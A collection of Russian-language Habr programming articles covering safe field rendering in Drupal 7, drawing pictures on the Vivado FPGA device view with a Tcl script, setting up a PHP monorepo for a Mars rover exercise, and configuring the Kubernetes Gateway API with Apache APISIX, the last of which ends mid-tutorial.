И в заключение, оставляю ссылку на архив с несколькими изображениями и html-файл, в который можно вставить нужное изображение и посмотреть на результат, а также несколько рабочих файлов: [dl.dropbox.com/u/42049925/rm.zip](https://dl.dropbox.com/u/42049925/rm.zip) | https://habr.com/ru/post/164887/ | null | ru | null |
# Правильный вывод полей в Drupal 7
Перевод статьи от [ComputerMinds](http://www.computerminds.co.uk/): [Rendering Drupal 7 fields (the right way)](http://www.computerminds.co.uk/articles/rendering-drupal-7-fields-right-way)
##### Краткий ответ
Используйте field\_view\_field()!
##### Полный ответ
Drupal 7 дает возможность работать с сущностями (Entities), а вместе с этим и мощный API для работы с полями, которые могут быть прикреплены к сущностям. Если Вы управляете полями через вкладки «Управление полями» и «Управление отображением» на странице типов материалов, то Drupal сам заботится о правильной работе с полями.
Однако, мы часто сталкиваемся с необходимостью отображения поля вне сущности. Типичным примером может быть отображение данных о авторе ноды в боковой колонке сайта. Конечно, такие модули, как Panels и CCK Blocks могут делать это самостоятельно, но сделать это вручную не так уж и сложно.
Возможно, Вы видели (или писали) код, который выглядит примерно так:
```
// Это неверный пример
$block['content'] = $node->field_name['und'][0]['safe_value'];
```
Копание в объекте ноды было довольно распространено в Drupal 6, и «safe\_value» казалось бы, поможет избежать возможных проблем. Что в этом плохого? Давайте рассмотрим.
1. Во-первых, элемент ['und'] является частью локализации поля в Drupal 7; прямой доступ к его значению приведет к проблемам в любой многоязычной среде.
2. Получая доступ напрямую к значению поля, мы теряем возможность темизировать рендер поля и использовать базовую разметку.
3. [0] [safe\_value] явно обращается к первому значению поля — если вы хотите использовать каждое значение из нескольких значений поля — придется использовать цикл.
4. Некоторые поля (например, node references) не имеют элемента safe\_value, только value, — которые могут быть легко отображены без соответствующей предобработки. Это опасно, и не только потому, что node references содержит опасные данные (тот же nid), но и потому, что это вредная привычка привычка, особенно для новых разработчиков. Использование value других типов полей также может быть очень опасно.
К счастью, есть [field\_view\_field()](http://api.drupal.org/api/drupal/modules--field--field.module/function/field_view_field/7)!
```
$output = field_view_field('node', $node, 'field_name');
```
Эта функция вернет очищенные значения (фикс 4) поля в полном объеме (фикс 3) на текущем языке (фикс 1) и в формате массива, готового к рендерингу, поэтому вы получите все связанные данные с разметкой (фикс 2). Победа! Если поле не имеет значения, функция будет использовать резервные участки языка логики, доступные для текущего языка. Вы также можете передать массив вариантов форматирования или задать режим просмотра в качестве дополнительного аргумента функции. Не правда ли, это отличный вариант?
##### Дополнительные советы
Предположим, вы хотите просто получить одно значение без разметки. Существует две Field API функций, которые помогут вам в этом случае. Во-первых, у нас [field\_get\_items ()](http://api.drupal.org/api/drupal/modules--field--field.module/function/field_get_items/7) которая возвращает поля элемента в правильном языке (опять же, вы можете указать язык, если вам это нужно). Вы можете покопаться там и получить исходные (raw) данные, возможно, для использования на стороне сервера или если вы хотите сделать что-то экзотическое, как, к примеру, вывод «alt» значения для поля изображения. Не забывайте, что вы имеете дело с необработанными данными и **нужно сделать правильную предварительную обработку данных** перед использованием значений, иначе вы создадите уязвимости в своем проекте.
Кроме того, есть еще одна удобная функция Field API, [field\_view\_value ()](http://api.drupal.org/api/drupal/modules--field--field.module/function/field_view_value/7), она поможет, когда вы хотите получить одно значение поля с применением встроенных правил очистки данных. Эта функция также использует поле форматирования. Она принимает одно значение поля, которое берется из массива, возвращаемого field\_view\_value (). Вот пример:
```
$node = node_load($nid);
$field = field_get_items('node', $node, 'field_name');
$output = field_view_value('node', $node, 'field_name', $field[$delta]);
```
Где $delta — индекс поля, значение которого Вы хотите получить. Для единичного поля значение $delta будет 0. Все очень просто.
И, просто для удовольствия, вот последний пример с использованием некоторых параметров форматирования, которые указывают стиль ImageCache и делают ссылку на ноду. Этот пример будет работать так же, как field\_view\_value () и field\_view\_field ().
```
$node = node_load($nid);
$image = field_get_items('node', $node, 'field_image');
$output = field_view_value('node', $node, 'field_image', $image[0], array(
'type' => 'image',
'settings' => array(
'image_style' => 'thumbnail',
'image_link' => 'content',
),
));
```
##### Это рок!
Конечно, в случае, например, использование «field-as-a-block» Field API делает это действительно хорошо, чисто и просто. Мы имеем дело с визуализацией массивов, поэтому можем вносить изменения вплоть до срабатывания функции render(), которая вызывается в файле шаблона. И, используя [field\_view\_field ()](http://api.drupal.org/api/drupal/modules--field--field.module/function/field_view_field/7) и [field\_view\_value ()](http://api.drupal.org/api/drupal/modules--field--field.module/function/field_view_value/7) Вы можете быть уверены, что данные будут обработаны в соответствии со встроенными правилами очистки данных. | https://habr.com/ru/post/163501/ | null | ru | null |
# Vivado: Picasso mode
Аннотация
---------
*Безумию все возрасты покорны*
При проектировании каких-либо модулей на ПЛИС невольно иногда приходит в голову мысль о не совсем стандартном использовании самой среды проектирования и инструментов, которые она предоставляет для проектирования. В этой небольшой заметке мы рассмотрим, как с помощью инструмента управления средой, реализованного на Tcl, мы можем буквально рисовать на ПЛИС фотографии, картины, портреты и мемасики.
Такой необычный «маршрут проектирования» был реализован еще полтора года тому назад, но вот только сейчас пришла мысль оформить его в виде заметки, в которой имеется небольшая практика применения Tcl скриптов для управления средой проектирования, в данном случае Vivado. Однако при небольших доработках все легко может быть адаптировано под другие среды разработки, например Quartus II.
Введение
--------
Разумеется, идея не пришла в голову из неоткуда. Её появлению способствовала моя тогдашняя занятость проектами по обработке изображений и управлению видеопотоками на FPGA. У каждого бывает такое, что сидя над решением какой-то проблемы в голову приходит всякая ересь, почему оно не работает или работает именно так как и должно, но не так как мы ожидаем.
При решении проблемы пришлось прибегнуть к одному из инструментов среды Vivado, а именно окрашиванию соответствующих компонентов и модулей в проекте после размещения и трассировки и вглядыванию в бесконечные временные диаграммы.
В итоге, я окрасил несколько конфигурируемых логических блоков CLB в различные цвета, и меня «осенило» – это же пиксели изображения, так может попробовать нарисовать какую нить картинку, сопоставив каждому пикселю свой окрашенный CLB?… ну тут оно и понеслось
Чем нам поможет Tcl?
--------------------
Предположим, что у нас есть небольшая картинка размера 100х100 пикселей. Теперь допустим, что для того чтобы окрасить CLB нам нужно совершить два действия: выбрать CLB и выбрать цвет. В картинке 100x100 у нас 10000 пикселей и делать такое окрашивание вручную достаточно утомительно, тем более что действия являются однотипными и повторяющимися. Таким образом, раскрашивать вручную каждый CLB это не есть выход и нужно воспользоваться Tcl и скриптам. Но с чего начать?
Первое, что пришло в голову – это найти нужную команду, отвечающую за назначение цвета выбранному элементу. К счастью, при ручном выполнении действий Vivado выводит соответствующие Tcl команды в консоль и вроде бы проблема с поиском должна быть решена максимально быстро. Однако не тут то было. Вывод команды на подсветку выбранных элементов Vivado просто игнорирует и единственным вариантом найти команду, а я был предельно уверен, что она должна быть, это окунуться с головой в гайд по Tcl командам, доступным в Vivado, а это почти 2000 страниц [1].
Не стоит отчаиваться, по ключевому слову «highlight» быстро нашлась соответствующая команда, которая называется highlight\_objects. Эта команда подсвечивает указанные или выбранные объекты в определённый цвет, задаваемый с помощью опций. Опции у команды highlight\_objects следующие:
-*color\_index* – (не обязательная) допустимое значение аргумента опции должно быть число от 1 до 20. Цвет, в который будет окрашен выбранный объект, определяется его порядковым номером из палитры предустановленных цветов, которую можно найти в Colors → Highlight в разделе меню Tools → Settings.
-*rgb* – (не обязательная) задает цвет выбранного объекта в формате RGB
-*color* – (не обязательная) подсвечивает выбранный объект в один из следующих цветов: red, green, blue, magenta, yellow, cyan и orange
Остальные опции команды относятся к системным настройкам самой команды и нам не пригодятся. Однако при использовании команды highlight\_objects следует учитывать, что две и более опций окрашивания не могут применяться одновременно.
Очевидно, что для нашей задачи подходит опция, задающая произвольный цвет в формате RGB – опция *rgb*
Теперь не плохо бы было получить значения пикселей изображения, но найти изображение, которое бы было представлено в формате bitmap, мне не удалось. Открывая каждый файл текстовым редактором, не удавалось найти строки со значением пикселей. Разумеется, писать программу преобразования изображений в формат bitmap я не стал, а просто полез в интернет искать готовое решение. Искать пришлось не слишком долго. Как оказалось, задача преобразования изображения в формат bitmap (то есть когда мы видим значения пикселей несжатого изображения) достаточно актуальна (наверное, такую задачу задают студентам-программистам в качестве домашнего задания к лабораторной работе). Не долгий поиск привел на github, откуда и была скачана программа Image2Bitmap [2].
Программа требует на вход изображения и на выходе выдает значения пикселей в виде си массива с шестнадцатеричными значениями пикселей в формате RGB565. Этот формат говорит, что на кодирование цвета для красной компоненты используется 5 бит, зеленой 6 бит и синей 5 бит. Этого оказалось вполне достаточно для работы. Теперь лишь требуется отобразить полученные значения непосредственно на окрашиваемые секции (slice).
Выбор ПЛИС
----------
Чем больше ПЛИС, тем больше в ней логических ресурсов, а значит и само «поле для творчества» больше и картинка будет чётче. Следует сразу отметить, что «разукрашивание» достаточно долгий процесс и может занять прилично времени, зависящее от размеров изображения. Для проведения тестирования стоит выбрать ПЛИС с небольшим количеством ресурсов. Например, семейства Spartan-7. После окончания тестирования, можно изменить ПЛИС на более «жирную», например, из семейства Ultrascale+.
1. Запускаем Vivado и создаем проект
2. Выбираем кристалл xc7s6cpga196-2, на котором будем рисовать тестовое изображение
3. Для отображения нарисованного нам понадобится открыть само изображение кристалла, однако, это можно сделать после этапа синтеза либо elaborate. В Vivado нам для этого понадобится создать модуль-пустышку на любом языке.
4. Добавим в проект Tcl скрипт.
a. Для этого, создайте в папке с проектом файл с расширением «.tcl», например «fpga\_painter.tcl»
b. Перейдите в Vivado, и добавите этот файл в проект.
c. После окончания обновления иерархии проекта, сделайте файл неактивным.
5. После создания модуля, он появится в окне иерархии проекта и нам будет доступна кнопка Open Elaborate Design. Нажимаем её.
6. После открытия Elaborate Design переходим в Window→Device. Появится отображение поля нашей ПЛИС.
7. Подготовка закончена, приступаем к написанию скрипта.
Определение параметров и процедур
---------------------------------
### Тестовое изображение
Для начала давайте отладим алгоритм/код как таковой на небольшом изображении, скажем 5x3, а затем запустим его «на полную катушку».
1. Открываем Paint, ограничиваем поле изображения 5х3 пиксела (можно взять любые цвета). Сохраните файл как «5x3.png»
2. Откроем программу Image2Bitmap и преобразуем нашу картинку в массив RGB565.
3. После преобразования программа выдаст нам массив из 15 пикселей
```
*uint16_t image = {
0xf800, 0x07e0, 0x001f, 0x8410, 0x8010, 0xfbe4, 0xff80, 0x2589, 0x051d,
0x3a59, 0xa254, 0xbbca, 0xfd79, 0xef36, 0x9edd,
};*
```
### Подготовка данных
Перед тем как приступить к обработке пикселов преобразуем данные, выдаваемые программой Image2Bitmap в простой список, в котором будут записаны шестнадцатеричные значения пикселов. Сами данные программы мы скопируем и сохраним в файл «pic\_array.dat», который следует расположить в папке с проектом.
При запуске создаваемого скрипта нам предстоит обработать файл «pic\_array.dat». Стоит отметить, что количество элементов в строке, возвращаемой программой Image2Bitmap, не соответствует количеству пикселей в строке преобразуемого изображения, по этой причине мы и сформируем отдельный список «pixels».
При чтении файла нужно игнорировать первую строку «uint16\_t image = {» и последнюю «};». Для пропуска первой строки при чтении файла просто разместим чтение строки перед циклом чтения всего файла.
После чтения всего файла, мы увидим, что последняя строка файла «};» стала элементом списка, который просто удаляется.
На этом формирование списка с шестнадцатеричными значениями пикселов закончено. Теперь приступим к их обработке.
### Определение размера изображения
Еще раз взглянем на поле ПЛИС и изображение. Поле ПЛИС разбито на секции (SLICE), которые имеют соответствующие координаты по горизонтали «Х» и вертикали «Y». Например, SLICE\_X6Y36.
Изображение в свою же очередь имеет пиксели, так же с координатами по горизонтали и вертикали. При наложении изображения на ПЛИС нам следует совместить верхний левый пиксель с верхней левой секцией ПЛИС. В данном случае, выбранный кристалл имеет верхнюю секцию с координатой X0Y49.
Размер изображения будет определяться количеством секций в ПЛИС по горизонтали и вертикали. У выбранного кристалла горизонтальная координата секций изменяется от X0 до Х131, а по вертикальная от Y49 до Y0. Отсюда следует, что теоретически мы можем нарисовать на выбранном кристалле изображение размером 132x50.
### Начальные параметры
Подведём итог: начальными параметрами нашего скрипта будут:
1. Стартовая позиция секции по оси Х: имя переменной start\_x
2. Стартовая позиция секции по оси Y: имя переменной start\_y
3. Ширина изображения (для тестового изображения равна 5): переменная w
4. Высота изображения (для тестового изображения равна 3): переменная h
### Корректировка цвета пиксела
Программа Image2Bitmap выдает массив пикселов в формате RGB565 в виде 16 битного числа, записанного в шестнадцатеричном формате. Нам следует:
1. Преобразовать значение пиксела в двоичный формат. Это можно сделать с помощью процедуры hex2bin, которую можно найти в [3]
2. Сопоставить биты с соответствующими цветовыми компонентами:
• Красная компонента R[15:11]
• Зелёная компонента G[10:5]
• Синяя компонента B[4:0]
*Пояснение: порядок изменён в виду того, что процедура hex2bin возвращает строку, в которой нумерация элементов начинается с 0, то есть 15-му биту соответствует 0-ой элемент строки, а 0-му биту 15-ый элемент строки*
1. Преобразовать значение цветовой компоненты из binary в decimal. Это можно сделать с помощью процедуры bin2dec, которую можно найти [3]:
2. Преобразовать значения пикселов из RGB565 в формат RGB888, для более плавного отображения картинки. Это делается с помощью двух списков, которые можно найти в [4]. Как это работает:
• Разрядность цветовых компонент R и B 5 бит. Взяв десятичное значение компоненты, мы сопоставим его с позицией числа, записанного в списке t5, а значение компоненты изменится на значение в таблице
• Аналогично для компоненты G и таблицы t6
### Определение наличия секции
Внутри некоторых ПЛИС имеются специальные ресурсы или пустоты, которые могут нарушить последовательную нумерацию координат секций. Например, на рисунке ниже видно, что нумерация секций прерывается (кристалл xc7s50)
По этой причине перед окрашиванием мы сначала проверим существование секции. Если она существует, то окрашиваем, если не существует, то переходим к следующему пикселу
### Окрашивание секции
Цвет секции определён, наличие секции проверено. Теперь цвет нужно назначить секции с помощью команды highlight\_objects:
### Вектор →Двухмерный массив
В начале, мы преобразовали данные изображения в список pixels, в котором хранится построчная развертка изображения. Для организации картинки введем две переменные, x и y, которые будут соответствовать положению пикселей в изображении. Последовательно считывая элементы списка pixels, мы сформируем изображение, используя два цикла for: один по количеству строк, второй по положению пиксела в строке
### Полный листинг скрипта
**Листинг fpga\_painter.tcl**
```
#https://tcl.tk/
#http://www.tune-it.ru/web/il/home/-/blogs/преобразование-rgb888-<->-rgb565-и-защита-грибов-от-выцветания
#https://github.com/FoxExe/Image2Bitmap/releases/tag/0.5
#смещение левого верхнего пиксела изображения на поле ПЛИС
set start_x 0; #Горизонтальное
set start_y 49; #Вертикальное
set w 5; #Ширина изображения (количество пикселей в строке)
set h 3; #Высота изображения (количество строк)
proc hex2bin hex {
set t [list 0 0000 1 0001 2 0010 3 0011 4 0100 \
5 0101 6 0110 7 0111 8 1000 9 1001 \
a 1010 b 1011 c 1100 d 1101 e 1110 f 1111 \
A 1010 B 1011 C 1100 D 1101 E 1110 F 1111]
regsub {^0[xX]} $hex {} hex
return [string map -nocase $t $hex]
}
proc bin2dec bin {
#returns integer equivalent of $bin
set res 0
if {$bin == 0} {
return 0
} elseif {[string match -* $bin]} {
set sign -
set bin [string range $bin[set bin {}] 1 end]
} else {
set sign {}
}
foreach i [split $bin {}] {
set res [expr {$res*2+$i}]
}
return $sign$res
}
###############
#RGB565 -> RGB888 using tables
set t5 [list 0 8 16 25 33 41 49 58 66 74 82 90 99 107 115 123 132\
140 148 156 165 173 181 189 197 206 214 222 230 239 247 255]
set t6 [list 0 4 8 12 16 20 24 28 32 36 40 45 49 53 57 61 65 69\
73 77 81 85 89 93 97 101 105 109 113 117 121 125 130 134 138\
142 146 150 154 158 162 166 170 174 178 182 186 190 194 198\
202 206 210 215 219 223 227 231 235 239 243 247 251 255]
###############
#Путь до скрипта. В нашем случае лежит в папке с проектом
set script_path [get_property DIRECTORY [get_projects *]]
cd $script_path
#Открываем файл с шестнадцетиричными значениями пикселов изображения
set fId [open {pic_array.dat} r]
#Создаём список, в котором сохраним значения пикселов изображения
set pixels [list ]
#Читаем первйю строку из файла. Строка не нужна
gets $fId line
#Читаем остальные строки. В них хранятся значения пикселов.
while {[gets $fId line] > 0} {
set pixels [concat $pixels $line]
}
#Удаляем из списка pixels последний элемент "};", который формируется программой Image2Bitmap
set pixels [lrange $pixels 0 end-1]
#номер пиксела в списке pixels
set pix_num 0;
#Преобразуем последовательный список пикселов в изображение
for {set y 0} { $y < $h } {incr y} {
#Координата слайса по вертикали (номер строки)
set Y [expr {$start_y - $y}]
# Обработка пикселов строки
for {set x 0} { $x < $w } {incr x } {
set pix_val [lindex $pixels $pix_num];
incr pix_num
#значенеи пиксела в binary формате
set pix_bin [hex2bin $pix_val] ;
#Берем двоичное значение красного цвета
set R_bin [string range $pix_bin 0 4]
#Преобразуем его в десятичное
set R_dec [ bin2dec $R_bin ]
#Корреектируем оттенок красного в соответствии с таблицей t5
set R [lindex $t5 $R_dec]
#Повторяем процедуру для зеленой и синей компоненты
set G_bin [string range $pix_bin 5 10]
set G [lindex $t6 [ bin2dec $G_bin ]]
set B_bin [string range $pix_bin 11 15]
set B [lindex $t5 [ bin2dec $B_bin ] ]
#Координата слайса по горизонтали
set X [expr {$start_x + $x}]
#Убеждаемся, что секция для окрашивания существует
set cond [get_sites "SLICE_X${X}Y${Y}"]
if {$cond ne ""} {
#Окрашиваем секцию
highlight_objects [get_sites "SLICE_X${X}Y${Y}"] -rgb "$R $G $B"
}
puts "X = $X Y = $Y; $R $G $B"
}
}
close $fId
puts "Complete::Check FPGA field::Window->Device"
```
Тестирование
------------
1. Для начала тестирования, убедитесь, что Вам доступно поле ПЛИС, т.е. открыт один из этапов проектирования: elaborated, synthesis или implemented. Для отображения поля ПЛИС выберите Window → Device
2. Откроем файл «pic\_array.dat» и скопируем в файл данные из программы Image2Bitmap. Сохраняем файл
3. Откроем скрипт. Установим координату левого верхнего пиксела 0 и 49, размер тестового изображения 5 на 3 и запустим скрипт. Для этого в поле скрипта нажмите правой кнопкой и выберите Run.
4. Перейдите в Tcl console и убедитесь, что скрипт был выполнен.
5. Перейдите во вкладку Device и убедитесь, что ячейки окрашены в соответствующий цвет.
6. Теперь можем взять любое изображение, преобразовать его до нужного размера и закрасить поле ПЛИС. Ниже приведены несколько примеров.
*P.S.: произвольное назначение цветов заменяет стандартную настройку цветов Vivado*
Список литературы
-----------------
1. UG835. Vivado Design Suite TclCommand Reference Guide
2. <https://github.com/FoxExe/Image2Bitmap/releases/tag/0.5>
3. <https://tcl.tk>
4. [http://www.tune-it.ru/web/il/home/-/blogs/преобразование-rgb888](http://www.tune-it.ru/web/il/home/-/blogs/%D0%BF%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-rgb888)-<->-rgb565-и-защита-грибов-от-выцветания | https://habr.com/ru/post/477974/ | null | ru | null |
# Марсоход, Инициализация
[](https://habrahabr.ru/post/314544/)
В этой серии статей мы строим программное обеспечение марсохода в [соответствии со следующими спецификациями](https://habrahabr.ru/post/314536/). Это позволит применить нам на практике следующие подходы:
* Monolithic Repositories — **MonoRepo** *(Монолитные репозитории)*
* Command/Query Responsibility Segregation — **CQRS** *(Сегрегация ответственности на чтение и запись)*
* Event Sourcing — **ES** *(События как источник)*
* Test Driven Development — **TDD** *(Разработка через тестирование)*
**Оглавление**[Марсоход, Введение](https://habrahabr.ru/post/314536/)
Марсоход, Инициализация
[Марсоход, Посадка](https://habrahabr.ru/post/314958/)
[Марсоход, Координаты посадки](https://habrahabr.ru/post/315684/)
Cначала нам нужно инициализировать наш проект.
Создание репозитория
--------------------
Давайте начнем с создания нового git-репозитория:
```
mkdir rover
cd rover
git init
```
Поскольку мы собираемся использовать [Composer](https://getcomposer.org/), создадим `composer.json`:
```
{
"name": "mars-rover/mars-rover",
"license": "MIT",
"type": "project",
"description": "Mars Rover",
"require": {
"php": "^7.0"
}
}
```
Добавим `.gitignore` для игнорирования файлов сторонних библиотек в репозитории:
```
# Third Party libraries
/vendor/
```
Закончив с созданием репозитория, запустим `composer`:
```
composer install --optimize-autoloader
```
Этого будет достаточно для первого коммита:
```
git add composer.json .gitignore
git commit -m '0: Created project'
```
Создание `navigation`-пакета
----------------------------
Посмотрев на [декомпозицию задачи](https://habrahabr.ru/post/314536/), мы увидим, что задачи можно выделить в `write-only` и `read-only`:
1. Посадка ровера на Марс — `write-only`
2. Вождение ровера — `write-only`
3. Запрос местоположения — `read-only`
Поскольку мы хотим придерживаться принципу **CQRS**, положим `write-only` логику отдельно от `read-only`. Посадка и вождение — это все про навигацию, поэтому начнем с него:
```
git checkout -b 1-navigation
mkdir -p packages/navigation
cd packages/navigation
```
Создаем `composer.json` для нового пакета:
```
{
"name": "mars-rover/navigation",
"license": "MIT",
"type": "library",
"description": "Mars Rover - Navigation",
"autoload": {
"psr-4": { "MarsRover\\Navigation\\": "src/MarsRover/Navigation" }
},
"require": {
"php": "^7.0"
},
"require-dev": {
"memio/spec-gen": "^0.6"
}
}
```
В качестве тестовой платформы возьмем [phpspec](http://phpspec.net/), и для большинства тестов мы будем использовать ее расширение [SpecGen](http://memio.github.io/spec-gen). Для этого нужно создать в корне проекта `phpspec.yml.dist`:
```
extensions:
Memio\SpecGen\MemioSpecGenExtension: ~
```
***Примечание**: Для получения более подробной информации о phpspec [смотрите статью](https://gnugat.github.io/2015/08/03/phpspec.html).*
Наконец, нам нужно настроить `git` для этого пакета путем создания `.gitignore` файла:
```
# Configuration
/phpspec.yml
# Third Party libraries
/vendor/
/composer.lock
```
На этом мы закончили конфигурирование нашего пакета, и теперь можем запустить `Composer`:
```
composer install --optimize-autoloader
```
Зафиксируем наши действия во втором коммите:
```
git add -A
git commit -m '1: Created Navigation package'
```
Добавление `navigation`-пакета в проект
---------------------------------------
Вернемся к корню проекта:
```
cd ../../
```
Одним из преимуществ **MonoRepo** является возможность выполнять тесты всех пакетов одной командой. Дл этого нам нужно прописать зависимость от `navigation` в `composer.json` файле нашего основного проекта:
```
{
"name": "mars-rover/mars-rover",
"license": "MIT",
"type": "project",
"description": "Mars Rover",
"repositories": [
{
"type": "path",
"url": "./packages/*"
}
],
"require": {
"mars-rover/navigation": "*@dev",
"php": "^7.0"
}
}
```
По-умолчанию `Composer` ищет пакеты только в [Packagist](https://packagist.org/). Добавив новую секцию `repositories` мы говорим ему проверить наличие пакетов еще и локально в `./packages`, что позволяет нам использовать найденные пакеты в секции `require`.
Также нам нужно сообщить менеджеру пакетов какую версию мы бы хотели, но в монорепозитории все пакеты имеют одинаковую версию, поэтому мы просто используем `*` (любая). Но чтобы иметь возможность использовать последние изменения, не только с тегами версий, нам необходимо указать предпочитаемую стабильность (`@dev`).
Ну и раз уж мы используем `phpspec` для наших тестов, поставим дев-зависимость в основном проекте и на него:
```
composer require --dev phpspec/phpspec:^3.0
```
`phpspec` будет искать тесты в корне проекта. Нам нужно создать `phpspec.yml.dist`, чтобы сообщить о наличии `navigation`-пакета:
```
suites:
navigation:
namespace: 'MarsRover\Navigation'
src_path: packages/navigation/src
spec_path: packages/navigation
```
Для игнорирования локальной конфигурации также обновим `.gitignore`:
```
# Configuration
/phpspec.yml
# Third Party libraries
/vendor/
```
Вот оно! Теперь мы можем запустить `Composer` и затем `phpspec`:
```
composer update --optimize-autoloader
./vendor/bin/phpspec run
```
Закоммитим все это:
```
git add -A
git commit -m '1: Added navigation package to main project'
```
И смерджимся с мастер-веткой:
```
git checkout master
git merge --no-ff 1-navigation
```
Заключение
----------
C `Composer` мы можем создавать много макетов внутри одного репозитория, а применяя подход `MonoRepo` — запускать все тесты одной командой.
Что дальше
----------
В следующей статье мы займемся внутренней частью задачи “Посадка ровера на Марс”, продемонстрировав пример работы **Event Sourcing** и **TDD**.
Предыдущая часть: [Марсоход, Введение](https://habrahabr.ru/post/314536/)
Следующая часть: [Марсоход, Посадка](https://habrahabr.ru/post/314958/) | https://habr.com/ru/post/314544/ | null | ru | null |
# Основное про API-шлюз в Kubernetes
Существует множество альтернатив для доступа к модулю извне кластера. Шлюз API - это определенно новинка этой области, и потому выбран темой этой статьи.
Ранее мы описывали несколько способов доступа к модулям Kubernetes. Так, например, доступ к модулю pods можно получить через его IP-адрес, но важно учитывать, что поды по своей сути являются временными. Штатный способ - настроить **Service**: в этом случае IP-адрес стабилен, а задача Kubernetes - обеспечивать мапироание между **Service** и соответствующими ей подами. В настоящий момент доступны различные виды сервисов: только внутренние, **NodePort**, позволяющий открыть доступа извне кластера, и **LoadBalancer**, который полагается на сторонний компонент - обычно это на облачный провайдер. Не будем забывать и об **Ingress**, обеспечивающем маршрутизацию.
Ну а API-шлюз, как новинку в этой области, мы оставили на десерт, решив посвятить ему целый пост.
От Ingress к API-шлюзу
----------------------
Внешний доступ к подам Kubernetes прошел несколько эволюционных этапов. Так, например, **Ingress** - это ответ на проблему отсутствия маршрутизации в **LoadBalancer**. Но самой большой проблемой **Ingress**, в свою очередь, является его зависимость от "проприетарных" объектов. В качестве напоминания, приведем в пример фрагмент для создания маршрутизации с использованием Apache APISIX:
```
apiVersion: apisix.apache.org/v2beta3 #1
kind: ApisixRoute #1
metadata:
name: apisix-route
spec:
http:
- name: left
match:
paths:
- "/left"
backends:
- serviceName: left
servicePort: 80
- name: right
match:
paths:
- "/right"
backends:
- serviceName: right
servicePort: 80
```
#### #1: Проприетарные объекты
Проприетарные объекты определенно являются проблемой при осуществлении миграции. Хотя миграция от одного поставщика к другому встречается довольно редко, тем не менее она должна быть максимально плавной. При использовании проприетарных объектов сначала необходимо сопоставить старые объекты с новыми. Существует большая вероятность того, что мапирование "one-to-one" в данном случае может не получиться. Затем важно перевести спецификацию в новую модель, что превращает весь процесс в полноценный сложный проект.
Идея, лежащая в основе Gateway API, заключается в том, чтобы иметь четкое разделение между стандартными объектами и проприетарной реализацией.
API-шлюз
--------
> Шлюз API - это проект с открытым исходным кодом, управляемый сообществом SIG-NETWORK. Это набор ресурсов, которые моделируют сервисную сеть в Kubernetes. Такие ресурсы - **GatewayClass**, **Gateway**, **HTTPRoute**, **TCPRoute**, **Service** и т.д. - направлены на развитие сервисной сети Kubernetes с помощью ярких, гибких и клиентоориентированных интерфейсов, которые уже реализуются и поддерживаются многими крупными компаниями.
>
> - [Kubernetes Gateway API Introduction](https://gateway-api.sigs.k8s.io/)
>
>
Исходя из вышеприведенного определения, важно упомянуть об одной из актуальных организационных проблем: разные роли должны управлять разным набором объектов.
Действительно, задачи оператора кластера и девелопера довольно сильно отличаются друг от друга. Это чем-то напоминает старые серверы приложений Java EE, которые предлагали спецификацию, организованную вокруг ролей: девелоперы, deploy-специалисты и операторы. ИМХО, наиболее существенное отличие заключается в том, что спецификация была ориентирована в основном на опыт девелоперов; остальное зависело от исполнителей. Шлюз API, в свою очередь, не оставляет без внимания ни одну сторону.
Настройка доступа к поду через API-шлюз
---------------------------------------
Давайте заменим упомянутый ранее **Ingress** на API-шлюз. Для этого необходимо выполнить следующие действия.
Установите новые CRD для шлюза
------------------------------
```
k apply -f https://github.com/kubernetes-sigs/gateway-api/releases/download/v0.5.0/standard-install.yaml
```
Установите Implementation
-------------------------
Я буду использовать Apache APISIX. [Список возможных альтернатив](https://gateway-api.sigs.k8s.io/implementations/) представлен на сайте SIG.
```
helm install apisix apisix/apisix \
--namespace ingress-apisix \
--create-namespace \
--devel \ #1
--set gateway.type=NodePort \ #2
--set gateway.http.nodePort=30800 \ #2
--set ingress-controller.enabled=true \ #2
--set ingress-controller.config.kubernetes.enableApiGateway=true \ #3
--set ingressPublishService="ingress-apisix/apisix-gateway" #4
```
#1: Без опции `--devel` Helm устанавливает последнюю версию, которая не работает с API-шлюза.
#2: Шлюз в любом случае должен быть доступен за пределами кластера.
#3: Здесь происходит волшебство!
#4: Мы вернемся к этому позже.
Проверим, что все работает:
```
k get all -n ingress-apisix
```
```
pod/apisix-5fc9b45c69-cf42m 1/1 Running 0 14m #1
pod/apisix-etcd-0 1/1 Running 0 14m #2
pod/apisix-etcd-1 1/1 Running 0 14m #2
pod/apisix-etcd-2 1/1 Running 0 14m #2
pod/apisix-ingress-controller-6f8bd94d9d-wkzfn 1/1 Running 0 14m #3
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
service/apisix-admin ClusterIP 10.96.69.19 9180/TCP
service/apisix-etcd ClusterIP 10.96.226.79 2379/TCP,2380/TCP
service/apisix-etcd-headless ClusterIP None 2379/TCP,2380/TCP
service/apisix-gateway NodePort 10.96.101.224 80:30800/TCP#4
service/apisix-ingress-controller ClusterIP 10.96.141.230 80/TCP
```
#1: Непосредственно сам Apache API SIX.
#2: Apache API SIX хранит свою конфигурацию в `etcd`. На диаграмме по умолчанию запланировано три пода, что вполне практично для разрешения неполадок в распределенных системах.
#3: Контроллер Apache API SIX: Контроллер Kubernetes - это цикл управления, который преобразовывает существующее состояние в желаемое.
#4: Служба Apache APISIX: Это служба **NodePortService**, которую мы установили через Helm Chart. Это также имя, на которое мы ссылались во время установки **ingressPublishService** в Helm Chart. На данном этапе вся инфраструктура готова.
#### Реализация
Как уже упоминалось выше, API четко разделяет спецификацию и реализацию. Однако их необходимо как-то связать. Это ответственность объекта **GatewayClass**:
```
apiVersion: gateway.networking.k8s.io/v1alpha2 #1
kind: GatewayClass #2
metadata:
name: apisix-gateway-class #3
spec:
controllerName: apisix.apache.org/gateway-controller #4
```
#1: Мы не используем последнюю версию специально, так как Apache API SIX работает с этой версией. Но даже не сомневайтесь, что в самом ближайшем будущем все обновится.
#2: Объект **GatewayClass**.
#3: Назовите его так, как вы хотите; однако позже мы будем использовать его для ссылки на класс шлюза.
#4: Имя контроллера зависит от реализации. В данном случае мы используем Apache APISIX.
Обратите внимание, что **GatewayClass** имеет область действия в масштабе всего кластера. Эта модель позволяет нам объявлять различные реализации API-шлюза и использовать их параллельно внутри одного и того же кластера.
Создание шлюза
--------------
Благодаря Apache API SIX здесь все довольно просто:
```
apiVersion: gateway.networking.k8s.io/v1alpha2 #1
kind: Gateway #2
metadata:
name: apisix-gateway
spec:
gatewayClassName: apisix-gateway-class #3
listeners: #4
- name: http
protocol: HTTP
port: 80
```
